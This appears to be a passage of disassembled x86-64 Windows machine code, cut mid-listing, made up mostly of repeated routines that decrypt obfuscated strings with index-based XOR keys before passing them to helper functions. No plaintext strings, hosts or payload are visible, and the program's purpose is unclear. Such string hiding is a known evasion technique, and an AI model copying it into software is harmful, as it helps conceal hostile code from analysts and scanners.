movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400080c0
cmp r8d, 0x1a
jge 0x1400081e1
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400081b0
mov byte [rbp - 0x6a], 0
lea rdx, [rbp + 0x13e8]
lea rcx, [rbp - 0x6a]
call fcn.14001f6c0
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x140008331
mov r8d, edi
cmp esi, 2
jl 0x1400082f8
mov rcx, rax
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140008211
cmp r8d, 0x16
jge 0x140008331
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140008300
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp - 0x69], 0
lea rdx, [rbp + 0x9b8]
lea rcx, [rbp - 0x69]
call fcn.14001f4f0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140008470
mov r8d, edi
cmp esi, 2
jl 0x140008437
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140008440
mov byte [rbp - 0x68], 0
lea rdx, [rbp + 0xf08]
lea rcx, [rbp - 0x68]
call fcn.14001f320
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x1400085b0
mov r8d, edi
cmp esi, 2
jl 0x14000856c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140008580
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp - 0x67], 0
lea rdx, [rbp + 0x5e8]
lea rcx, [rbp - 0x67]
call fcn.14001f280
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140008612
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp - 0x66], 0
lea rdx, [rbp + 0x1258]
lea rcx, [rbp - 0x66]
call fcn.14001f0a0
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x140008741
mov r8d, edi
cmp esi, 2
jl 0x1400086fd
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140008710
mov rcx, r10
jmp 0x1400098e6
mov byte [rbp - 0x65], 0
lea rdx, [rbp + 0x318]
lea rcx, [rbp - 0x65]
call fcn.14001fae0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140008787
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1880]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1880]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1880]
call fcn.1400b3040
cmp ebx, 9
jne 0x140008d1b
mov byte [rbp - 0x64], 0
lea rdx, [rbp + 0xf18]
lea rcx, [rbp - 0x64]
call fcn.140020200
mov rbx, rax
cmp byte [rax + 0xd], 0
je 0x1400088f1
mov r8d, edi
cmp esi, 2
jl 0x1400088ad
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400088c0
mov byte [rbp - 0x63], 0
lea rdx, [rbp + 0x9c8]
lea rcx, [rbp - 0x63]
call fcn.140020030
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140008a21
mov r8d, edi
cmp esi, 2
jl 0x1400089dc
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400089f0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp - 0x62], 0
lea rdx, [rbp + 0x9d8]
lea rcx, [rbp - 0x62]
call fcn.14001fe60
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140008b60
mov r8d, edi
cmp esi, 2
jl 0x140008b27
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140008b30
mov byte [rbp - 0x61], 0
lea rdx, [rbp + 0xdd8]
lea rcx, [rbp - 0x61]
call fcn.14001fc90
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140008ca0
mov r8d, edi
cmp esi, 2
jl 0x140008c5c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140008c70
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp - 0x60], 0
lea rdx, [rbp + 0x698]
lea rcx, [rbp - 0x60]
call fcn.14001fbf0
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140008d02
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp - 0x5f], 0
lea rdx, [rbp + 0x4b8]
lea rcx, [rbp - 0x5f]
call fcn.14001fb60
jmp 0x1400098b5
mov byte [rbp - 0x5e], 0
lea rdx, [rbp + 0x328]
lea rcx, [rbp - 0x5e]
call fcn.1400203d0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140008d59
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x18a0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x18a0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x18a0]
call fcn.1400b3040
cmp ebx, 9
jne 0x140009409
mov byte [rbp - 0x5d], 0
lea rdx, [rbp + 0xc4]
lea rcx, [rbp - 0x5d]
call fcn.140020d60
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x140008dbc
xor byte [rbx + 1], 1
xor al, 2
mov byte [rbx + 2], al
mov byte [rbp - 0x5c], 0
lea rdx, [rbp + 0x238]
lea rcx, [rbp - 0x5c]
call fcn.140020bb0
mov r10, rax
cmp byte [rax + 7], 0
je 0x140008ee1
cmp esi, 2
jl 0x140008ea0
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
jmp 0x140008ee1
mov r9, r10
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140008eb0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp - 0x5b], 0
lea rdx, [rbp + 0x9e8]
lea rcx, [rbp - 0x5b]
call fcn.1400209e0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140009020
mov r8d, edi
cmp esi, 2
jl 0x140008fe7
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140008ff0
mov byte [rbp - 0x5a], 0
lea rdx, [rbp + 0xf38]
lea rcx, [rbp - 0x5a]
call fcn.140020810
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140009160
mov r8d, edi
cmp esi, 2
jl 0x14000911c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140009130
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp - 0x59], 0
lea rdx, [rbp + 0x1328]
lea rcx, [rbp - 0x59]
call fcn.140020620
mov rbx, rax
cmp byte [rax + 0xf], 0
je 0x1400092d1
cmp esi, 2
jl 0x14000928f
mov edx, edi
mov rcx, rax
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400091b0
jmp 0x1400092d1
mov r9, rbx
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400092a0
mov byte [rbp - 0x58], 0
lea rdx, [rbp + 0x9f8]
lea rcx, [rbp - 0x58]
call fcn.140020450
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140008741
mov r8d, edi
cmp esi, 2
jl 0x1400093bc
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
